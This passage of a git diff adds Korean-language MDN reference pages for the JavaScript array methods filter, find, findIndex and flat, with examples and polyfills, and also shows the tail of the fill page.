+ len : end &gt;&gt; 0;
+
+ // Step 11.
+ var final = relativeEnd &lt; 0 ?
+ Math.max(len + relativeEnd, 0) :
+ Math.min(relativeEnd, len);
+
+ // Step 12.
+ while (k &lt; final) {
+ O[k] = value;
+ k++;
+ }
+
+ // Step 13.
+ return O;
+ }
+ });
+}</code></pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.fill")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/filter/index.html b/files/ko/web/javascript/reference/global_objects/array/filter/index.html
new file mode 100644
index 0000000000..9d1b623fd0
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/filter/index.html
@@ -0,0 +1,231 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Reference/Global_Objects/Array/filter
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>filter()</strong></code> 메서드는 주어진 함수의 테스트를 통과하는 모든 요소를 모아 새로운 배열로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-filter.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr.filter(callback(element[, index[, array]])[, thisArg])</var></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소를 시험할 함수. <code>true</code>를 반환하면 요소를 유지하고, <code>false</code>를 반환하면 버립니다. 다음 세 가지 매개변수를 받습니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>element</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>index</code> {{optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code> {{optional_inline}}</dt>
+ <dd><code>filter</code>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용하는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>테스트를 통과한 요소로 이루어진 새로운 배열. 어떤 요소도 테스트를 통과하지 못했으면 빈 배열을 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>filter()</code>는 배열 내 각 요소에 대해 한 번 제공된 <code>callback</code> 함수를 호출해, <code>callback</code>이 <a href="/ko/docs/Glossary/Truthy"><code>true</code>로 강제하는 값</a>을 반환하는 모든 값이 있는 새로운 배열을 생성합니다. <code>callback</code>은 할당된 값이 있는 배열의 인덱스에 대해서만 호출됩니다; 삭제됐거나 값이 할당된 적이 없는 인덱스에 대해서는 호출되지 않습니다. <code>callback</code> 테스트를 통과하지 못한 배열 요소는 그냥 건너뛰며 새로운 배열에 포함되지 않습니다.</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다:</p>
+
+<ol>
+ <li>요소값</li>
+ <li>요소 인덱스</li>
+ <li>순회(traverse)되는 배열 객체</li>
+</ol>
+
+<p><code>thisArg</code> 매개변수가 <code>filter</code>에 제공된 경우, 호출될 때 그 값은 <code>callback</code>의 <code>this</code> 값으로 전달됩니다.  그 이외에, <code>undefined</code>값도 <code>callback</code>의 <code>this</code> 값으로 쓰기 위해 전달됩니다. 결국 <code>callback</code>에 의해 관찰될 수 있는 <code>this</code> 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this"><code>this</code>를 결정하는 함수의 평소 규칙</a>에 따라 결정됩니다.</p>
+
+<p><code>filter()</code>는 호출되는 배열을 변화시키지(mutate) 않습니다.</p>
+
+<p><code>filter()</code>에 의해 처리되는 요소의 범위는 <code>callback</code>의 첫 호출 전에 설정됩니다. <code>filter()</code> 호출 시작 이후로 배열에 추가된 요소는 <code>callback</code>에 의해 방문되지 않습니다. 배열의 기존 요소가 변경 또는 삭제된 경우, <code>callback</code>에 전달된 그 값은 <code>filter()</code>가 그 요소를 방문한 시점에 값이 됩니다; 삭제된 요소는 반영되지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_작은_값_걸러내기">모든 작은 값 걸러내기</h3>
+
+<p>다음 예는 값이 10 이하인 모든 요소가 제거된 걸러진 배열을 만들기 위해 <code>filter()</code>를 사용합니다.</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+ return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered 는 [12, 130, 44]
+</pre>
+
+<h3 id="JSON에서_무효한_항목_거르기">JSON에서 무효한 항목 거르기</h3>
+
+<p>다음 예는 0이 아닌, 숫자 <code>id</code>인 모든 요소의 걸러진 json을 만들기 위해 <code>filter()</code>를 사용합니다.</p>
+
+<pre class="brush: js"><code>var arr = [
+ { id: 15 },
+ { id: -1 },
+ { id: 0 },
+ { id: 3 },
+ { id: 12.2 },
+ { },
+ { id: null },
+ { id: NaN },
+ { id: 'undefined' }
+];
+
+var invalidEntries = 0;
+
+function isNumber(obj) {
+ return obj !== undefined &amp;&amp; typeof(obj) === 'number' &amp;&amp; !isNaN(obj);
+}
+
+function filterByID(item) {
+ if (isNumber(item.id) &amp;&amp; item.id !== 0) {
+ return true;
+ }
+ invalidEntries++;
+ return false;
+}
+
+var arrByID = arr.filter(filterByID);
+
+console.log('Filtered Array\n', arrByID);
+// Filtered Array
+// [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Number of Invalid Entries = ', invalidEntries);
+// Number of Invalid Entries = 5</code>
+</pre>
+
+<h3 id="배열_내용_검색">배열 내용 검색</h3>
+
+<p>다음 예는 배열 내용을 조건에 따라 검색하기 위해 <code>filter()</code> 를 사용합니다.</p>
+
+<pre class="brush: js"><code>var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 검색 조건에 따른 배열 필터링(쿼리)
+ */
+function filterItems(query) {
+ return fruits.filter(function(el) {
+ return el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1;
+ })
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</code></pre>
+
+<h3 id="ES2015로_구현">ES2015로 구현</h3>
+
+<pre class="brush: js"><code>const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'];
+
+/**
+ * 검색 조건에 따른 배열 필터링(쿼리)
+ */
+const filterItems = (query) =&gt; {
+ return fruits.filter((el) =&gt;
+ el.toLowerCase().indexOf(query.toLowerCase()) &gt; -1
+ );
+}
+
+console.log(filterItems('ap')); // ['apple', 'grapes']
+console.log(filterItems('an')); // ['banana', 'mango', 'orange']</code></pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">filter</span></font>는 ECMA-262 표준 제5판에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 환경에서도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">filter</span></font>를 사용할 수 있습니다. 아래 알고리즘은 <code>fn.call</code>의 계산 값이 원래의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="call() 메소드는 주어진 this 값 및 각각 전달된 인수와 함께 함수를 호출합니다."><code>Function.prototype.call()</code></a>과 같고, {{jsxref("Array.prototype.push()")}}가 변형되지 않은 경우 ECMA-262 제5판이 명시한 것과 동일합니다.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter){
+ Array.prototype.filter = function(func, thisArg) {
+ 'use strict';
+ if ( ! ((typeof func === 'Function' || typeof func === 'function') &amp;&amp; this) )
+ throw new TypeError();
+
+ var len = this.length &gt;&gt;&gt; 0,
+ res = new Array(len), // preallocate array
+ t = this, c = 0, i = -1;
+ if (thisArg === undefined){
+ while (++i !== len){
+ // checks to see if the key was set
+ if (i in this){
+ if (func(t[i], i, t)){
+ res[c++] = t[i];
+ }
+ }
+ }
+ }
+ else{
+ while (++i !== len){
+ // checks to see if the key was set
+ if (i in this){
+ if (func.call(thisArg, t[i], i, t)){
+ res[c++] = t[i];
+ }
+ }
+ }
+ }
+
+ res.length = c; // shrink down array to proper size
+ return res;
+ };
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.6에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/find/index.html b/files/ko/web/javascript/reference/global_objects/array/find/index.html
new file mode 100644
index 0000000000..92a0208a6b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/find/index.html
@@ -0,0 +1,226 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Reference/Global_Objects/Array/find
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>find()</strong></code><strong> </strong>메서드는 주어진 판별 함수를 만족하는 <strong>첫 번째 요소</strong>의 <strong>값</strong>을 반환합니다. 그런 요소가 없다면 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html")}}</div>
+
+
+
+<p>찾은 요소의 값 대신 <strong>인덱스</strong>를 반환하는 {{jsxref("Array.findIndex", "findIndex()")}} 메서드도 살펴보세요.</p>
+
+<p>배열 요소의 위치를 찾고자 하는 경우에는 {{jsxref("Array.prototype.indexOf()")}}를 사용하세요.</p>
+
+<p>배열 요소가 해당 배열에 존재하는지 확인하고자 하는 경우에는 {{jsxref("Array.prototype.indexOf()")}} 또는 {{jsxref("Array.prototype.includes()")}}를 사용세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>배열의 각 값에 대해 실행할 함수. 아래의 세 인자를 받습니다.
+ <dl>
+ <dt><code>element</code></dt>
+ <dd>콜백함수에서 처리할 현재 요소.</dd>
+ <dt><code>index</code>{{optional_inline}}</dt>
+ <dd>콜백함수에서 처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code>{{optional_inline}}</dt>
+ <dd><code>find</code> 함수를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 항목. 콜백이 호출될 때 <code>this</code>로 사용할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 판별 함수를 만족하는 <strong>첫 번째 요소</strong>의 <strong>값</strong>. 그 외에는 {{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>find</code> 메서드는 <code>callback</code> 함수가 참을 반환 할 때까지 해당 배열의 각 요소에 대해서 <code>callback</code> 함수를 실행합니다. 만약 어느 요소를 찾았다면 <code>find</code> 메서드는 해당 요소의 값을 즉시 반환하고, 그렇지 않았다면 {{jsxref("undefined")}}를 반환합니다. <code>callback</code>은 <code>0</code> 부터 <code>length - 1</code> 까지 배열의 모든 인덱스에 대해 호출되며, 값이 지정되지 않은 요소도 포함하여 모든 인덱스에 대해 호출됩니다. 따라서, 희소 배열 (sparse arrays)의 경우에는 값이 지정된 요소만 탐색하는 다른 메소드에 비해 더 비효율적입니다.</p>
+
+<p><code>callback</code>은 다음의 세가지 인자를 가지고 호출됩니다: 요소의 값, 요소의 인덱스, 순회의 대상이 되는 배열. </p>
+
+<p><code>thisArg</code> 파라미터가 주어진 경우에는 제공되었다면  <code>thisArg</code>가 <code>callback</code>안에서 <code>this</code>로 사용되고, 그렇지 않은 경우 {{jsxref("undefined")}} 가 <code>this</code>로 사용됩니다. </p>
+
+<p><code>find</code>는 호출의 대상이 된 배열을 변경(mutate)하지 않습니다.</p>
+
+<p><code>find</code>가 처리할 배열 요소의 범위는 첫 <code>callback</code>이 호출되기 전에 먼저 결정됩니다. <code>find</code>메서드가 실행 된 이후에 배열에 추가된 요소들에 대해서는 <code>callback</code>이 호출되지 않습니다. 아직 <code>callback</code>이 호출되지 않았던 배열 요소가 <code>callback</code>에 의해서 변경된 경우, <code>find</code>가 해당 요소의 인덱스를 방문할 때의 값으로 <code>callback</code>함수에 전달될 것입니다. 즉, 삭제된 요소에도 <code>callback</code>이 호출됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="속성_중_하나를_사용하여_배열에서_객체_찾기">속성 중 하나를 사용하여 배열에서 객체 찾기</h3>
+
+<pre class="brush: js">var inventory = [
+ {name: 'apples', quantity: 2},
+ {name: 'bananas', quantity: 0},
+ {name: 'cherries', quantity: 5}
+];
+
+function findCherries(fruit) {
+ return fruit.name === 'cherries';
+}
+
+console.log(inventory.find(findCherries)); // { name: 'cherries', quantity: 5 }
+</pre>
+
+<h4 id="ES2015_화살표_함수_사용하기">ES2015 화살표 함수 사용하기</h4>
+
+<p> </p>
+
+<pre class="brush: js">const inventory = [
+ {name: 'apples', quantity: 2},
+ {name: 'bananas', quantity: 0},
+ {name: 'cherries', quantity: 5}
+];
+
+const result = inventory.find(fruit =&gt; fruit.name === 'cherries');
+
+console.log(result) // { name: 'cherries', quantity: 5 }</pre>
+
+<p> </p>
+
+<h3 id="배열에서_소수_찾기">배열에서 소수 찾기</h3>
+
+<p>다음 예제에서는 배열의 요소 중 소수인 요소를 찾습니다(소수가 없는 경우에는 {{jsxref("undefined")}}를 반환).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+ var start = 2;
+ while (start &lt;= Math.sqrt(element)) {
+ if (element % start++ &lt; 1) {
+ return false;
+ }
+ }
+ return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(isPrime)); // undefined, not found
+console.log([4, 5, 8, 12].find(isPrime)); // 5
+</pre>
+
+<h3 id="탐색_중_삭제된_배열_요소">탐색 중 삭제된 배열 요소</h3>
+
+<p>다음 예제에서는 삭제되어 존재하지 않는 배열의 요소에도 <code>callback</code>이 호출되어 해당 시점의 값이 <code>callback</code>에 전달되는 것을 보여줍니다.</p>
+
+<pre class="brush: js">// Declare array with no element at index 2, 3 and 4
+var a = [0,1,,,,5,6];
+
+// Shows all indexes, not just those that have been assigned values
+a.find(function(value, index) {
+ console.log('Visited index ' + index + ' with value ' + value);
+});
+// Shows all indexes, including deleted
+  a.find(function(value, index) {
+  // Delete element 5 on first iteration
+  if (index == 0) {
+  console.log('Deleting a[5] with value ' + a[5]);
+  delete a[5];
+  }
+  // Element 5 is still visited even though deleted
+  console.log('Visited index ' + index + ' with value ' + value);
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>find</code>는 ECMAScript 2015 명세에 추가됐으므로 어떤 표준 구현체에서는 사용지 못할 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 <code>find</code>를 지원하지 않는 환경에서도 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+ Object.defineProperty(Array.prototype, 'find', {
+ value: function(predicate) {
+ // 1. Let O be ? ToObject(this value).
+ if (this == null) {
+ throw new TypeError('"this" is null or not defined');
+ }
+
+ var o = Object(this);
+
+ // 2. Let len be ? ToLength(? Get(O, "length")).
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+ if (typeof predicate !== 'function') {
+ throw new TypeError('predicate must be a function');
+ }
+
+ // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+ var thisArg = arguments[1];
+
+ // 5. Let k be 0.
+ var k = 0;
+
+ // 6. Repeat, while k &lt; len
+ while (k &lt; len) {
+ // a. Let Pk be ! ToString(k).
+ // b. Let kValue be ? Get(O, Pk).
+ // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+ // d. If testResult is true, return kValue.
+ var kValue = o[k];
+ if (predicate.call(thisArg, kValue, k, o)) {
+ return kValue;
+ }
+ // e. Increase k by 1.
+ k++;
+ }
+
+ // 7. Return undefined.
+ return undefined;
+ },
+ configurable: true,
+ writable: true
+ });
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.find")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} – 찾기 이후 인덱스 반환</li>
+ <li>{{jsxref("Array.prototype.includes()")}} – 배열에 어떤 값이 존재하는지 검사</li>
+ <li>{{jsxref("Array.prototype.filter()")}} – 매칭되는 모든 요소 찾기</li>
+ <li>{{jsxref("Array.prototype.every()")}} – 모든 요소에 대해서 검사</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/findindex/index.html b/files/ko/web/javascript/reference/global_objects/array/findindex/index.html
new file mode 100644
index 0000000000..9406439e6a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/findindex/index.html
@@ -0,0 +1,146 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>findIndex()</code></strong> 메서드는 <strong>주어진 판별 함수를 만족하는</strong> 배열의 첫 번째 요소에 대한 <strong>인덱스</strong>를 반환합니다. 만족하는 요소가 없으면 -1을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div>
+
+
+
+<p>인덱스 대신 <strong>값</strong>을 반환하는 {{jsxref("Array.prototype.find", "find()")}} 메서드도 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback(element</var>[, index[, array]])[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>3개의 인수를 취하여 배열의 각 값에 대해 실행할 함수입니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>element</code></dt>
+ <dd>배열에서 처리중인 현재 요소입니다.</dd>
+ <dt><code>index</code></dt>
+ <dd>배열에서 처리중인 현재 요소의 인덱스입니다.</dd>
+ <dt><code>array</code></dt>
+ <dd>findIndex 함수가 호출된 배열입니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 사항. 콜백을 실행할 때 this로 사용할 객체입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소가 테스트를 통과하면 배열의 인덱스. 그렇지 않으면 -1입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>findIndex 메서드는 콜백 함수가 진리 값 (true를 반환하는 값)을 반환 할 때까지 배열의 모든 배열 인덱스 0..length-1 (포함)에 대해 한 번씩 콜백 함수를 실행합니다. 이러한 요소가 발견되면 findIndex는 해당 반복에 대한 색인을 즉시 반환합니다. 콜백이 진리 값을 반환하지 않거나 배열의 길이가 0 인 경우 findIndex는 -1을 반환합니다. Array # some과 같은 다른 배열 메소드와는 달리, 배열에 존재하지 않는 엔트리의 인덱스에 대해서조차 콜백이 호출됩니다.</p>
+
+<p>콜백은 요소의 값, 요소의 인덱스 및 가로 지르는 <code>Array</code> 객체의 세 가지 인수로 호출됩니다.</p>
+
+<p>thisArg 매개 변수가 findIndex에 제공되면 콜백 호출마다 thisArg 매개 변수가 사용됩니다. 제공되지 않으면 {{jsxref ( "undefined")}}가 사용됩니다.</p>
+
+<p><code>findIndex</code>는 호출 된 배열을 변경하지 않습니다.</p>
+
+<p>findIndex에 의해 처리되는 요소의 범위는 콜백의 첫 번째 호출 전에 설정됩니다. findIndex 호출이 시작된 후 배열에 추가되는 요소는 콜백에 의해 방문되지 않습니다. 배열의 기존의 방문하지 않은 요소가 콜백에 의해 변경되면 방문 콜백에 전달 된 값은 findIndex가 해당 요소의 인덱스를 방문 할 때의 값이됩니다. 삭제된 요소도 방문합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열에서_소수의_색인_찾기">배열에서 소수의 색인 찾기</h3>
+
+<p>다음 예제에서는 배열에서 소수 (소수가없는 경우 -1을 반환) 인 요소의 인덱스를 찾습니다.</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+ var start = 2;
+ while (start &lt;= Math.sqrt(element)) {
+ if (element % start++ &lt; 1) {
+ return false;
+ }
+ }
+ return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, not found
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">if (!Array.prototype.findIndex) {
+ Object.defineProperty(Array.prototype, 'findIndex', {
+ value: function(predicate) {
+ 'use strict';
+ if (this == null) {
+ throw new TypeError('Array.prototype.findIndex called on null or undefined');
+ }
+ if (typeof predicate !== 'function') {
+ throw new TypeError('predicate must be a function');
+ }
+ var list = Object(this);
+ var length = list.length &gt;&gt;&gt; 0;
+ var thisArg = arguments[1];
+ var value;
+
+ for (var i = 0; i &lt; length; i++) {
+ value = list[i];
+ if (predicate.call(thisArg, value, i, list)) {
+ return i;
+ }
+ }
+ return -1;
+ },
+ enumerable: false,
+ configurable: false,
+ writable: false
+ });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.findIndex")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/flat/index.html b/files/ko/web/javascript/reference/global_objects/array/flat/index.html
new file mode 100644
index 0000000000..4d4af6dc36
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/flat/index.html
@@ -0,0 +1,160 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flat
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>flat()</strong></code> 메서드는 모든 하위 배열 요소를 지정한 깊이까지 재귀적으로 이어붙인 새로운 배열을 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>newArr</em> = <em>arr</em>.flat([<em>depth</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>중첩 배열 구조를 평탄화할 때 사용할 깊이 값. 기본값은 1입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>하위 배열을 이어붙인 새로운 배열.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="중첩_배열_평탄화">중첩 배열 평탄화</h3>
+
+<pre class="brush: js">const arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+const arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+const arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+
+const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]];
+arr4.flat(Infinity);
+// [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]</pre>
+
+<h3 id="배열_구멍_제거">배열 구멍 제거</h3>
+
+<p><code>flat</code> 메서드는 배열의 구멍도 제거합니다.</p>
+
+<pre class="brush: js">const arr5 = [1, 2, , 4, 5];
+arr5.flat();
+// [1, 2, 4, 5]</pre>
+
+<h2 id="대안">대안</h2>
+
+<h3 id="reduce와_concat"><code>reduce</code>와 <code>concat</code></h3>
+
+<pre class="brush: js">const arr = [1, 2, [3, 4]];
+
+// To flat single level array
+arr.flat();
+// is equivalent to
+arr.reduce((acc, val) =&gt; acc.concat(val), []);
+// [1, 2, 3, 4]
+
+// or with decomposition syntax
+const flattened = arr =&gt; [].concat(...arr);</pre>
+
+<h3 id="reduce_concat_isArray_재귀"><code>reduce</code> + <code>concat</code> + <code>isArray</code> + 재귀</h3>
+
+<pre class="brush: js">const arr = [1, 2, [3, 4, [5, 6]]];
+
+// to enable deep level flatten use recursion with reduce and concat
+function flatDeep(arr, d = 1) {
+   return d &gt; 0 ? arr.reduce((acc, val) =&gt; acc.concat(Array.isArray(val) ? flatDeep(val, d - 1) : val), [])
+  : arr.slice();
+};
+
+flatDeep(arr, Infinity);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h3 id="스택">스택</h3>
+
+<pre class="brush: js">// non recursive flatten deep using a stack
+// note that depth control is hard/inefficient as we will need to tag EACH value with its own depth
+// also possible w/o reversing on shift/unshift, but array OPs on the end tends to be faster
+function flatten(input) {
+ const stack = [...input];
+ const res = [];
+ while(stack.length) {
+ // pop value from stack
+ const next = stack.pop();
+ if(Array.isArray(next)) {
+ // push back array items, won't modify the original input
+ stack.push(...next);
+ } else {
+ res.push(next);
+ }
+ }
+ // reverse to restore input order
+ return res.reverse();
+}
+
+const arr = [1, 2, [3, 4, [5, 6]]];
+flatten(arr);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h3 id="Generator_함수"><code>Generator</code> 함수</h3>
+
+<pre class="brush: js">function* flatten(array, depth) {
+  if(depth === undefined) {
+ depth = 1;
+ }
+ for(const item of array) {
+ if(Array.isArray(item) &amp;&amp; depth &gt; 0) {
+ yield* flatten(item, depth - 1);
+ } else {
+ yield item;
+ }
+ }
+}
+
+const arr = [1, 2, [3, 4, [5, 6]]];
+const flattened = [...flatten(arr, Infinity)];
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
